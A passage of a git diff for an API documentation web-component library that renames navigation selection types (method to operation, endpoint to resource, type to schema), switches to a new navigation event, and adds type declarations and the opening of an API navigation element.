     "@anypoint-web-components/anypoint-dialog": "^0.1.10",
     "@anypoint-web-components/anypoint-styles": "^1.0.2",
     "@api-components/api-model-generator": "^0.2.14",
-    "@api-components/api-navigation": "^4.3.2",
     "@commitlint/cli": "^13.2.1",
     "@commitlint/config-conventional": "^13.2.0",
     "@open-wc/eslint-config": "^4.3.0",
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index 2706328..79b99a8 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -7,6 +7,7 @@ import {
   serializerValue,
   processDebounce,
 } from './ApiDocumentationBase.js';
+import { EventTypes } from '../events/EventTypes.js';
 import '../../api-summary.js'
 import '../../api-operation-document.js'
 import '../../api-resource-document.js';
@@ -22,6 +23,8 @@ import '../../api-server-selector.js';
 /** @typedef {import('../helpers/amf').Operation} Operation */
 /** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
 /** @typedef {import('../types').ServerType} ServerType */
+/** @typedef {import('../types').SelectionType} SelectionType */
+/** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 export const operationIdValue = Symbol('operationIdValue');
 export const domainTypeValue = Symbol('domainTypeValue');
@@ -72,8 +75,6 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     return {
       /**
        * Type of the selected domain item.
-       * One of `documentation`, `type`, `security`, `endpoint`, `method`,
-       * or `summary`.
        */
       domainType: { type: String },
       /** 
@@ -159,14 +160,14 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   }
 
   /** 
-   * @returns {string|undefined} The domain id of the object to render.
+   * @returns {SelectionType|undefined} The domain id of the object to render.
    */
   get domainType() {
     return this[domainTypeValue];
   }
 
   /** 
-   * @returns {string|undefined} The domain id of the object to render.
+   * @returns {SelectionType|undefined} The domain id of the object to render.
    */
   set domainType(value) {
     const old = this[domainTypeValue];
@@ -250,9 +251,9 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   /** @returns {boolean} */
   get renderSelector() {
     const { domainType, serversCount, httpAllowCustomBaseUri } = this;
-		const isMethodOrEndpoint = !!domainType && (['method', 'endpoint'].includes(domainType));
+		const isOperationOrEndpoint = !!domainType && (['operation', 'resource'].includes(domainType));
 		const moreThanOneServer = serversCount >= 2;
-		if (isMethodOrEndpoint) {
+		if (isOperationOrEndpoint) {
 			return httpAllowCustomBaseUri || moreThanOneServer;
 		}
 		return false;
@@ -260,7 +261,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
 
   constructor() {
     super();
-    /** @type {string} */
+    /** @type {SelectionType} */
     this.domainType = undefined;
     /** @type {string} */
     this.operationId = undefined;
@@ -306,42 +307,42 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   }
 
   /**
-   * Registers `api-navigation-selection-changed` event listener handler
-   * on window object.
+   * Registers the api navigation event listener handler
+   * on the window object.
    */
   [registerNavigationEvents]() {
     this[navEventsRegistered] = true;
-    window.addEventListener('api-navigation-selection-changed', this[navigationHandler]);
+    window.addEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
   }
 
   /**
-   * Removes event listener from window object for `api-navigation-selection-changed` event.
+   * Removes event listener from window object for the API navigation event.
    */
   [unregisterNavigationEvents]() {
     this[navEventsRegistered] = false;
-    window.removeEventListener('api-navigation-selection-changed', this[navigationHandler]);
+    window.removeEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
   }
 
   /**
-   * Handler for `api-navigation-selection-changed` event.
+   * Handler for the API navigation event.
    * 
-   * Note, when the current type is set to `method` then the `operationId` is
+   * Note, when the current type is set to `operation` then the `operationId` is
    * set instead of `domainId`, which is set to the parent endpoint id.
    *
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   [navigationHandler](e) {
-    const { selected, type, endpointId, passive } = e.detail;
+    const { domainId, domainType, parentId, passive } = e.detail;
     if (passive === true) {
       return;
     }
-    this.domainType = type;
-    if (type === 'method') {
-      this.operationId = selected;
-      this.domainId = endpointId;  
+    this.domainType = domainType;
+    if (domainType === 'operation') {
+      this.operationId = domainId;
+      this.domainId = parentId;  
     } else {
       this.operationId = undefined;
-      this.domainId = selected;
+      this.domainId = domainId;
     }
     this.processGraph();
   }
@@ -378,7 +379,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
       return;
     }
     if (this._hasType(amf, this.ns.aml.vocabularies.shapes.DataTypeFragment)) {
-      this[processFragment](amf, 'type');
+      this[processFragment](amf, 'schema');
       return;
     }
     if (this._hasType(amf, this.ns.aml.vocabularies.core.CreativeWork)) {
@@ -394,7 +395,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
       return;
     }
     if (this._hasType(amf, this.ns.w3.shacl.Shape) || this._hasType(amf, this.ns.aml.vocabularies.document.DomainElement)) {
-      this[processPartial](amf, 'type');
+      this[processPartial](amf, 'schema');
     }
   }
 
@@ -415,14 +416,14 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     switch (domainType) {
       case 'summary': result = model; break;
       case 'security': result = this[computeSecurityApiModel](model, domainId); break;
-      case 'type': result = this[computeTypeApiModel](model, domainId); break;
+      case 'schema': result = this[computeTypeApiModel](model, domainId); break;
       case 'documentation': result = this[computeDocsApiModel](model, domainId); break;
-      case 'endpoint':
+      case 'resource':
         result = this[computeResourceApiModel](model, domainId);
         break;
-      case 'method':
+      case 'operation':
         if (tryItPanel) {
-          domainType = 'endpoint';
+          domainType = 'resource';
           result = this[computeEndpointApiMethodModel](model, domainId);
         } else {
           result = this[computeMethodApiModel](model, domainId);
@@ -451,7 +452,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     let result;
     switch (domainType) {
       case 'security':
-      case 'type': 
+      case 'schema': 
         result = this[computeDeclById](model, domainId); 
         break;
       default:
@@ -467,7 +468,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * Processes fragment model and sets current selection and the model.
    * 
    * @param {AmfDocument} model RAML fragment model
-   * @param {string} domainType The selected domain type.
+   * @param {SelectionType} domainType The selected domain type.
    */
   [processFragment](model, domainType) {
     const result = this._computeEncodes(model);
@@ -480,7 +481,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * Sets the partial model to be rendered.
    * 
    * @param {AmfDocument} model RAML partial model
-   * @param {string} domainType The domain type representing the partial model.
+   * @param {SelectionType} domainType The domain type representing the partial model.
    */
   [processPartial](model, domainType) {
     this[renderedModelValue] = model;
@@ -500,10 +501,10 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     const { tryItPanel } = this;
     let { domainType } = this;
 		if (!domainType || tryItPanel) {
-			domainType = 'endpoint';
+			domainType = 'resource';
 		}
-    if (!['method', 'endpoint'].includes(domainType)) {
-      domainType = 'endpoint';
+    if (!['operation', 'resource'].includes(domainType)) {
+      domainType = 'resource';
     }
 		this[endpointValue] = model;
 		this[renderedModelValue] = model;
@@ -724,9 +725,9 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
       case 'summary': return this[summaryTemplate]();
       case 'security': return this[securityTemplate]();
       case 'documentation': return this[documentationTemplate]();
-      case 'type': return this[schemaTemplate]();
-      case 'endpoint':
-      case 'method':
+      case 'schema': return this[schemaTemplate]();
+      case 'resource':
+      case 'operation':
         return this[resourceTemplate]();
       default: return '';
     }
diff --git a/src/elements/ApiNavigationElement.d.ts b/src/elements/ApiNavigationElement.d.ts
new file mode 100644
index 0000000..b4c3714
--- /dev/null
+++ b/src/elements/ApiNavigationElement.d.ts
@@ -0,0 +1,677 @@
+import {LitElement, TemplateResult} from 'lit-element';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
+import { EndPoint } from '../helpers/amf';
+import { MethodItem, EndpointItem, SecurityItem, TypeItem, DocumentationItem, TargetModel, NavigationItem, SelectionType } from '../types';
+
+export const collectData: unique symbol;
+export const queryValue: unique symbol;
+export const queryDebouncer: unique symbol;
+export const hasPassiveSelection: unique symbol;
+export const getFilteredType: unique symbol;
+export const docsValue: unique symbol;
+export const typesValue: unique symbol;
+export const securityValue: unique symbol;
+export const endpointsValue: unique symbol;
+export const endpointsTemplate: unique symbol;
+export const documentationTemplate: unique symbol;
+export const typesTemplate: unique symbol;
+export const securityTemplate: unique symbol;
+export const overviewTemplate: unique symbol;
+export const endpointPathTemplate: unique symbol;
+export const endpointTemplate: unique symbol;
+export const methodTemplate: unique symbol;
+export const documentationItemTemplate: unique symbol;
+export const isFragmentValue: unique symbol;
+export const selectedItemValue: unique symbol;
+export const updatedOpenedOperations: unique symbol;
+export const domainIdValue: unique symbol;
+export const domainTypeValue: unique symbol;
+export const selectedChanged: unique symbol;
+export const selectionChanged: unique symbol;
+export const operationsOpened: unique symbol;
+export const shiftTabPressed: unique symbol;
+export const focusedItemPrivate: unique symbol;
+export const focusedItemValue: unique symbol;
+export const summaryTemplate: unique symbol;
+export const itemClickHandler: unique symbol;
+export const queryChanged: unique symbol;
+export const flushQuery: unique symbol;
+export const rearrangeEndpointsValue: unique symbol;
+export const renderFullPathsValue: unique symbol;
+export const itemsValue: unique symbol;
+export const resetTabindices: unique symbol;
+export const navigationHandler: unique symbol;
+export const focusHandler: unique symbol;
+export const keydownHandler: unique symbol;
+export const collectSecurityData: unique symbol;
+export const collectDocumentationData: unique symbol;
+export const collectTypeData: unique symbol;
+export const traverseDeclarations: unique symbol;
+export const traverseReferences: unique symbol;
+export const traverseEncodes: unique symbol;
+export const rearrangeEndpoints: unique symbol;
+export const closeCollapses: unique symbol;
+export const appendSecurityItem: unique symbol;
+export const appendTypeItem: unique symbol;
+export const validUrl: unique symbol;
+export const appendDocumentationItem: unique symbol;
+export const appendEndpointItem: unique symbol;
+export const appendModelItem: unique symbol;
+export const createOperationModel: unique symbol;
+export const toggleSectionHandler: unique symbol;
+export const toggleSection: unique symbol;
+export const selectItem: unique symbol;
+export const addSelection: unique symbol;
+export const clearSelection: unique symbol;
+export const cleanPassiveSelection: unique symbol;
+export const handlePassiveNavigation: unique symbol;
+export const selectMethodPassive: unique symbol;
+export const toggleEndpoint: unique symbol;
+export const toggleEndpointDocumentation: unique symbol;
+export const toggleEndpointButton: unique symbol;
+export const computeEndpointPadding: unique symbol;
+export const computeEndpointPaddingLeft: unique symbol;
+export const computeMethodPadding: unique symbol;
+export const computeOperationPaddingLeft: unique symbol;
+export const getFilteredEndpoints: unique symbol;
+export const listActiveItems: unique symbol;
+export const listSectionActiveNodes: unique symbol;
+export const onUpKey: unique symbol;
+export const onDownKey: unique symbol;
+export const onEscKey: unique symbol;
+export const onSpace: unique symbol;
+export const onShiftTabDown: unique symbol;
+
+/**
+ * Computes label for an endpoint when name is missing and the endpoint
+ * is indented, hence name should be truncated.
+ *
+ * @param currentPath Endpoint's path
+ * @param parts Path parts
+ * @param indent Endpoint indentation
+ * @param basePaths List of base paths already used.
+ * @returns Name of the path to render.
+ */
+export declare function computePathName(currentPath: string, parts: string[], indent: number, basePaths: Array<string>): string;
+
+
+/**
+ * Computes condition value to render path label.
+ *
+ * @param allowPaths Component configuration property.
+ * @param renderPath Endpoint property
+ * @returns True if both arguments are truly.
+ */
+export declare function computeRenderPath(allowPaths: boolean, renderPath: boolean): boolean;
+
+/**
+ * `api-navigation`
+ * A navigation for an API spec using AMF model.
+ *
+ * This element is to replace deprecated `raml-path-selector`.
+ * It is lightweight and much less complex in comparison.
+ *
+ * The element works with [AMF](https://github.com/mulesoft/amf)
+ * json/ld model. When the model is set it computes list of documentation
+ * nodes, types, endpoints, methods and security schemas.
+ * As a result user can select any of the items in the UI and the application
+ * is informed about user choice via custom event.
+ *
+ * The selection is a selected API shape `@id`. The application is responsible
+ * for computing the model selected by the user.
+ *
+ * Note, this element does not contain polyfills for Array platform features.
+ * Use `arc-polyfills` to add support for IE and Safari 9.
+ *
+ * ## Passive navigation
+ *
+ * Passive navigation means that a navigation event occurred but it wasn't
+ * invoked by intentional user interaction. For example
+ * `api-endpoint-documentation` component renders list of documentations for
+ * HTTP methods. While scrolling through the list navigation context
+ * changes (user reads documentation of a method) but the navigation never
+ * was caused by user intentional interaction.
+ * This event, annotated with `passive: true` property in the detail object
+ * prohibits other element from taking a navigation action but some
+ * may reflect the change in the UI.
+ * 
+ * @fires apinavigate
+ */
+export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
+  [queryValue]: string;
+  [queryDebouncer]: boolean;
+  [hasPassiveSelection]: boolean;
+  [selectedItemValue]: HTMLElement;
+  [domainIdValue]: string;
+  [domainTypeValue]: string;
+  [operationsOpened]: boolean;
+  [shiftTabPressed]: boolean;
+  [rearrangeEndpointsValue]: boolean;
+  [renderFullPathsValue]: boolean;
+  [focusedItemPrivate]: HTMLElement;
+  [focusedItemValue]: HTMLElement;
+  [itemsValue]: Element[];
+  /**
+   * A model `@id` of selected documentation part.
+   * Special case is for `summary` view. It's not part of an API
+   * but most applications has some kins of summary view for the
+   * API.
+   * @attribute
+   */
+  domainId: string;
+
+  /**
+   * Type of the selected item.
+   * One of `documentation`, `type`, `security`, `endpoint`, `method`
+   * or `summary`.
+   *
+   * This property is set after `domainId` property.
+   * @attribute
+   */
+  domainType: SelectionType;
+
+  /**
+   * If set it renders `API summary` menu option.
+   * It will allow to set `domainId` and `domainType` to `summary`
+   * when this option is set.
+   * @attribute
+   */
+  summary: boolean;
+
+  /**
+   * A label for the `summary` section.
+   * @default "Summary"
+   * @attribute
+   */
+  summaryLabel: string;
+
+  /**
+   * Computed list of documentation items in the API.
+   */
+  [docsValue]: DocumentationItem[];
+
+  /**
+   * Determines and changes state of documentation panel.
+   * @attribute
+   */
+  docsOpened: boolean;
+
+  /**
+   * Computed list of "type" items in the API.
+   */
+  [typesValue]: TypeItem[];
+
+  /**
+   * Determines and changes state of types panel.
+   * @attribute
+   */
+  typesOpened: boolean;
+
+  /**
+   * Computed list of Security schemes items in the API.
+   */
+  [securityValue]: SecurityItem[];
+
+  /**
+   * Determines and changes state of security panel.
+   * @attribute
+   */
+  securityOpened: boolean;
+
+  /**
+   * Computed list of endpoint items in the API.
+   */
+  [endpointsValue]: EndpointItem[];
+
+  /**
+   * Determines and changes state of endpoints panel.
+   * @attribute
+   */
+  endpointsOpened: boolean;
+
+  /**
+   * If true, the element will not produce a ripple effect when interacted with via the pointer.
+   * @attribute
+   */
+  noink: boolean;
+
+  /**
+   * Filters list elements by this value when set.
+   * Clear the value to reset the search.
+   *
+   * This is not currently exposed in element's UI due
+   * to complexity of search and performance.
+   * @attribute
+   */
+  query: string;
+
+  /**
+   * Size of endpoint indentation for nested resources.
+   * In pixels.
+   *
+   * The attribute name for this property is `indent-size`. Note, that this
+   * will change to web consistent name `indentSize` in the future.
+   * @attribute
+   */
+  indentSize: number;
+
+  /**
+   * Flag set when passed AMF model is a RAML fragment.
+   */
+  [isFragmentValue]: boolean;
+
+  /**
+   * When set it renders full path below endpoint name if the endpoint has
+   * a name (different than the path).
+   * This is not always recommended to use this option as some complex APIs
+   * may render this component difficult to understand.
+   * @attribute
+   */
+  allowPaths: boolean;
+
+  /**
+   * If this value is set, then the navigation component will sort the list
+   * of endpoints based on the `path` value of the endpoint, keeping the order
+   * of which endpoint was first in the list, relative to each other
+   * @attribute
+   */
+  rearrangeEndpoints: boolean;
+
+  /**
+   * Enables compatibility with Anypoint components.
+   * @attribute
+   */
+  compatibility: boolean;
+
+  /**
+   * Determines and changes state of endpoints.
+   * @attribute
+   */
+  operationsOpened: boolean;
+
+  /**
+   * No overview as a separated element. Overview can be seen by clicking the endpoint label.
+   * @attribute
+   */
+  noOverview: boolean;
+
+  /**
+   * When set, avoids truncating and indentation of endpoint paths.
+   * Instead, the full path for each endpoint will be rendered.
+   * @attribute
+   */
+  renderFullPaths: boolean;
+
+  /**
+   * true when `[docsValue]` property is set with values
+   */
+  get hasDocs(): boolean;
+
+  /**
+   * true when `[typesValue]` property is set with values
+   */
+  get hasTypes(): boolean;
+
+  /**
+   * true when `[securityValue]` property is set with values
+   */
+  get hasSecurity(): boolean;
+
+  /**
+   * true when `[endpointsValue]` property is set with values
+   */
+  get hasEndpoints(): boolean;
+  /**
+   * True when summary should be rendered.
+   * Summary should be rendered only when `summary` is set and
+   * current model is not a RAML fragment.
+   */
+  get summaryRendered(): boolean;
+
+  /**
+   * The currently selected item.
+   */
+  get selectedItem(): HTMLElement;
+  /**
+   * The currently focused item.
+   */
+  get focusedItem(): HTMLElement;
+
+  /**
+   * Ensures aria role attribute is in place.
+   * Attaches element's listeners.
+   */
+  connectedCallback(): void;
+  disconnectedCallback(): void;
+
+  /**
+   * Collects the information about the API and creates data model
+   * for the navigation element
+   *
+   * @returns Data model for the API navigation
+   */
+  [collectData](model: object): TargetModel;
+
+  /**
+   * Collects the data from the security fragment
+   *
+   * @param model Security fragment model
+   */
+  [collectSecurityData](model: object): TargetModel|undefined;
+
+  /**
+   * Collects the data from the documentation fragment
+   *
+   * @param model Documentation fragment model
+   */
+  [collectDocumentationData](model: object): TargetModel|undefined;
+
+  /**
+   * Collects the data from the type fragment
+   *
+   * @param model Type fragment model
+   */
+  [collectTypeData](model: object): TargetModel|undefined;
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#declares`
+   * node to find types and security schemes.
+   *
+   * @param target Target object where to put data.
+   */
+  [traverseDeclarations](model: object, target: TargetModel): void;
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#references`
+   *
+   * @param model AMF model
+   * @param target Target object where to put data.
+   */
+  [traverseReferences](model: object, target: TargetModel): void;
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#encodes`
+   * node to find documentation and endpoints.
+   *
+   * @param target Target object where to put data.
+   */
+  [traverseEncodes](model: object, target: TargetModel): void;
+
+  /**
+   * Sort endpoints alphabetically based on path
+   */
+  [rearrangeEndpoints](endpoints: EndPoint[]): EndPoint[];
+
+  /**
+   * Appends declaration of navigation data model to the target if
+   * it matches documentation or security types.
+   */
+  [appendModelItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "type" item to the results.
+   *
+   * @param item Type item declaration
+   */
+  [appendTypeItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "security" item to the results.
+   *
+   * @param item Type item declaration
+   */
+  [appendSecurityItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "documentation" item to the results.
+   *
+   * @param item Type item declaration
+   */
+  [appendDocumentationItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "endpoint" item to the results.
+   * This also iterates over methods to extract method data.
+   *
+   * @param item Endpoint item declaration
+   */
+  [appendEndpointItem](item: object, target: TargetModel): void;
+
+  /**
+   * Creates the view model for an operation.
+   *
+   * @param item Operation AMF model
+   * @returns Method view model
+   */
+  [createOperationModel](item: object): MethodItem;
+
+  /**
+   * Click handler for section name item.
+   * Toggles the view.
+   */
+  [toggleSectionHandler](e: MouseEvent): void;
+  [toggleSection](node: HTMLElement): void;
+
+  /**
+   * Selects new item in the menu.
+   */
+  [selectItem](node: HTMLElement): void;
+
+  /**
+   * Toggles selection state of a node that has `data-api-id` set to
+   * `id`.
+   *
+   * @param id Selected node id.
+   * @returns Type of selected node.
+   */
+  [addSelection](id: string): string|undefined;
+
+  /**
+   * Removes any current selection that may exist.
+   */
+  [clearSelection](): void;
+
+  /**
+   * Toggles endpoint operations list.
+   *
+   * @param id ID of the endpoint.
+   */
+  toggleOperations(id: string): void;
+
+  /**
+   * Updates the state of selected element when `domainId` changes.
+   *
+   * @param current New selection
+   */
+  [selectedChanged](current: string): void;
+
+  /**
+   * When `query` property change it runs the filter function
+   * in a debouncer set for ~50 ms.
+   */
+  [queryChanged](): void;
+
+  /**
+   * Calls `render()` function on each data repeater that have filterable
+   * items.
+   * It set's `__effectiveQuery` property on the element that is beyond
+   * Polymer's data binding system so it skips 2 function calls each time
+   * it is read. In a repeater filter function that can be a lot.
+   *
+   * Also the `__effectiveQuery` is transformed to perform text search.
+   */
+  [flushQuery](): void;
+
+  /**
+   * Dispatches the navigation event on selection change.
+   *
+   * @param selected Selected id
+   * @param selectedType Type of AMF shape
+   */
+  [selectionChanged](selected: string, selectedType: string): void;
+
+  /**
+   * Navigation item click handler.
+   * It used to be common function for all clicks inside the element
+   * but in tests not all events were handled.
+   */
+  [itemClickHandler](e: MouseEvent): void;
+
+  /**
+   * Handler for the navigation event. Updates the selection
+   * if dispatched from other element.
+   */
+  [navigationHandler](e: CustomEvent): void;
+  [handlePassiveNavigation](detail: object): void;
+  [cleanPassiveSelection](): void;
+  [selectMethodPassive](id: string): void;
+
+  /**
+   * Endpoint label click handler.
+   * Toggles endpoint's methods list.
+   */
+  [toggleEndpoint](e: MouseEvent): void;
+
+  /**
+   * Computes `style` attribute value for endpoint item.
+   * It sets padding-left property to indent resources.
+   * See https://github.com/mulesoft/api-console/issues/571.
+   *
+   * @param factor Computed indent factor for the resource
+   * @param size The size of indentation in pixels.
+   * @returns Style attribute value for the item.
+   */
+  [computeEndpointPadding](factor: Number, size: Number): String;
+  [computeMethodPadding](factor: Number, size: Number): string;
+
+  /**
+   * Computes operation list item left padding from CSS variables.
+   */
+  [computeOperationPaddingLeft](): Number;
+
+  /**
+   * Computes endpoint list item left padding from CSS variables.
+   */
+  [computeEndpointPaddingLeft](): Number;
+
+  /**
+   * Returns filtered list of items to render in the menu list.
+   * When `query` is set it tests `label` property of each item if it contains
+   * the query. Otherwise it returns all items.
+   *
+   * @param prop Name of the source property keeping array values to render.
+   */
+  [getFilteredType](prop: NavigationItem[]): NavigationItem[]|undefined;
+
+  /**
+   * Returns a list of endpoints to render.
+   * When `query` is set it returns filtered list of endpoints for given query.
+   * Otherwise it returns all endpoints.
+   *
+   * @returns Filtered list of endpoints
+   */
+  [getFilteredEndpoints](): EndpointItem[]|undefined;
+
+  /**
+   * Closes all `iron-collapse` elements
+   */
+  [closeCollapses](): void;
+
+  /**
+   * A handler for the focus event on this element.
+   */
+  [focusHandler](e: FocusEvent): void;
+
+  /**
+   * Focuses on the previous item in the navigation.
+   */
+  focusPrevious(): void;
+
+  /**
+   * Focuses on the next item in the navigation.
+   */
+  focusNext(): void;
+
+  /**
+   * Resets all tabindex attributes to the appropriate value based on the
+   * current selection state. The appropriate value is `0` (focusable) for
+   * the default selected item, and `-1` (not keyboard focusable) for all
+   * other items. Also sets the correct initial values for aria-selected
+   * attribute, true for default selected item and false for others.
+   */
+  [resetTabindices](): void;
+
+  /**
+   * Lists all HTML elements that are currently rendered in the view.
+   * @returns Currently rendered items.
+   */
+  [listActiveItems](): Element[];
+
+  /**
+   * @param selector The prefix for the query selector
+   * @returns Nodes returned from query function.
+   */
+  [listSectionActiveNodes](selector: string): Element[];
+
+  /**
+   * Handler for the keydown event.
+   */
+  [keydownHandler](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when the up key is pressed.
+   *
+   * @param e A key combination event.
+   */
+  [onUpKey](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when the down key is pressed.
+   *
+   * @param e A key combination event.
+   */
+  [onDownKey](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when the esc key is pressed.
+   */
+  [onEscKey](): void;
+
+  /**
+   * A handler for the space bar key down.
+   */
+  [onSpace](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when a shift+tab keypress is detected by the menu.
+   */
+  [onShiftTabDown](): void;
+
+  /**
+   * Renders a template for endpoints and methods list.
+   */
+  [endpointsTemplate](): TemplateResult|string;
+  [endpointTemplate](item: EndpointItem): TemplateResult;
+  [methodTemplate](endpointItem: EndpointItem, methodItem: MethodItem): TemplateResult;
+
+  /**
+   * Renders a template for documentation list.
+   */
+  [documentationTemplate](): TemplateResult|string;
+
+  /**
+   * @returns Template for an docs item
+   */
+  [documentationItemTemplate](item: DocumentationItem): TemplateResult;
+
+  /**
+   * Renders a template for types list.
+   */
+  [typesTemplate](): TemplateResult|string;
+
+  /**
+   * Renders a template for security schemes list.
+   */
+  [securityTemplate](): TemplateResult|string;
+  render(): TemplateResult;
+}
diff --git a/src/elements/ApiNavigationElement.js b/src/elements/ApiNavigationElement.js
new file mode 100644
index 0000000..5fa82be
--- /dev/null
+++ b/src/elements/ApiNavigationElement.js
@@ -0,0 +1,2220 @@
+/* eslint-disable lit-a11y/click-events-have-key-events */
+import { LitElement, html } from 'lit-element';
+import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
+import { keyboardArrowDown, openInNew, } from '@advanced-rest-client/arc-icons/ArcIcons.js';
+import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import httpMethodStyles from './styles/HttpLabel.js';
+import navStyles from './styles/Navigation.js';
+import { EventTypes } from '../events/EventTypes.js'
+import { NavigationEvents } from '../events/NavigationEvents.js';
+
+/* eslint-disable no-plusplus */
+/* eslint-disable no-continue */
+/* eslint-disable max-len */
+/* eslint-disable no-param-reassign */
+/* eslint-disable class-methods-use-this */
+/* eslint-disable prefer-destructuring */
+/* eslint-disable consistent-return */
+
+/** @typedef {import('@anypoint-web-components/anypoint-collapse').AnypointCollapseElement} AnypointCollapseElement */
+/** @typedef {import('lit-element').TemplateResult} TemplateResult */
+/** @typedef {import('../types').MethodItem} MethodItem */
+/** @typedef {import('../types').EndpointItem} EndpointItem */
+/** @typedef {import('../types').SecurityItem} SecurityItem */
+/** @typedef {import('../types').TypeItem} TypeItem */
+/** @typedef {import('../types').DocumentationItem} DocumentationItem */
+/** @typedef {import('../types').TargetModel} TargetModel */
+/** @typedef {import('../types').NavigationItem} NavigationItem */
+/** @typedef {import('../types').SelectionType} SelectionType */
+/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+/** @typedef {import('../events/NavigationEvents').ApiNavigationEventDetail} ApiNavigationEventDetail */
+
+export const openedOperationsValue = Symbol('openedOperationsValue');
+export const collectData = Symbol('collectData');
+export const queryValue = Symbol('queryValue');
+export const queryDebouncer = Symbol('queryDebouncer');
+export const hasPassiveSelection = Symbol('hasPassiveSelection');
+export const getFilteredType = Symbol('getFilteredType');
+export const docsValue = Symbol('docsValue');
+export const typesValue = Symbol('typesValue');
+export const securityValue = Symbol('securityValue');
+export const endpointsValue = Symbol('endpointsValue');
+export const endpointsTemplate = Symbol('endpointsTemplate');
+export const documentationTemplate = Symbol('documentationTemplate');
+export const typesTemplate = Symbol('typesTemplate');
+export const securityTemplate = Symbol('securityTemplate');
+export const overviewTemplate = Symbol('overviewTemplate');
+export const endpointPathTemplate = Symbol('endpointPathTemplate');
+export const endpointTemplate = Symbol('endpointTemplate');
+export const methodTemplate = Symbol('methodTemplate');
+export const documentationItemTemplate = Symbol('documentationItemTemplate');
+export const isFragmentValue = Symbol('isFragmentValue');
+export const selectedItemValue = Symbol('selectedItemValue');
+export const updatedOpenedOperations = Symbol('updatedOpenedOperations');
+export const domainIdValue = Symbol('domainIdValue');
+export const domainTypeValue = Symbol('domainTypeValue');
+export const selectedChanged = Symbol('selectedChanged');
+export const selectionChanged = Symbol('selectionChanged');
+export const operationsOpened = Symbol('operationsOpened');
+export const addOpenedOperations = Symbol('addOpenedOperations');
+export const shiftTabPressed = Symbol('shiftTabPressed');
+export const focusedItemPrivate = Symbol('focusedItemPrivate');
+export const focusedItemValue = Symbol('focusedItemValue');
+export const summaryTemplate = Symbol('summaryTemplate');
+export const itemClickHandler = Symbol('itemClickHandler');
+export const queryChanged = Symbol('queryChanged');
+export const flushQuery = Symbol('flushQuery');
+export const queryValue2 = Symbol('queryValue2');
+export const noOverviewValue = Symbol('noOverviewValue');
+export const rearrangeEndpointsValue = Symbol('rearrangeEndpointsValue');
+export const renderFullPathsValue = Symbol('renderFullPathsValue');
+export const itemsValue = Symbol('itemsValue');
+export const resetTabindices = Symbol('resetTabindices');
+export const navigationHandler = Symbol('navigationHandler');
+export const focusHandler = Symbol('focusHandler');
+export const keydownHandler = Symbol('keydownHandler');
+export const collectSecurityData = Symbol('collectSecurityData');
+export const collectDocumentationData = Symbol('collectDocumentationData');
+export const collectTypeData = Symbol('collectTypeData');
+export const traverseDeclarations = Symbol('traverseDeclarations');
+export const traverseReferences = Symbol('traverseReferences');
+export const traverseEncodes = Symbol('traverseEncodes');
+export const rearrangeEndpoints = Symbol('rearrangeEndpoints');
+export const closeCollapses = Symbol('closeCollapses');
+export const appendSecurityItem = Symbol('appendSecurityItem');
+export const appendTypeItem = Symbol('appendTypeItem');
+export const validUrl = Symbol('validUrl');
+export const appendDocumentationItem = Symbol('appendDocumentationItem');
+export const appendEndpointItem = Symbol('appendEndpointItem');
+export const appendModelItem = Symbol('appendModelItem');
+export const createOperationModel = Symbol('createOperationModel');
+export const toggleSectionHandler = Symbol('toggleSectionHandler');
+export const toggleSection = Symbol('toggleSection');
+export const selectItem = Symbol('selectItem');
+export const addSelection = Symbol('addSelection');
+export const clearSelection = Symbol('clearSelection');
+export const cleanPassiveSelection = Symbol('cleanPassiveSelection');
+export const handlePassiveNavigation = Symbol('handlePassiveNavigation');
+export const selectMethodPassive = Symbol('selectMethodPassive');
+export const toggleEndpoint = Symbol('toggleEndpoint');
+export const toggleEndpointDocumentation = Symbol('toggleEndpointDocumentation');
+export const toggleEndpointButton = Symbol('toggleEndpointButton');
+export const computeEndpointPadding = Symbol('computeEndpointPadding');
+export const computeEndpointPaddingLeft = Symbol('computeEndpointPaddingLeft');
+export const computeMethodPadding = Symbol('computeMethodPadding');
+export const computeOperationPaddingLeft = Symbol('computeOperationPaddingLeft');
+export const getFilteredEndpoints = Symbol('getFilteredEndpoints');
+export const listActiveItems = Symbol('listActiveItems');
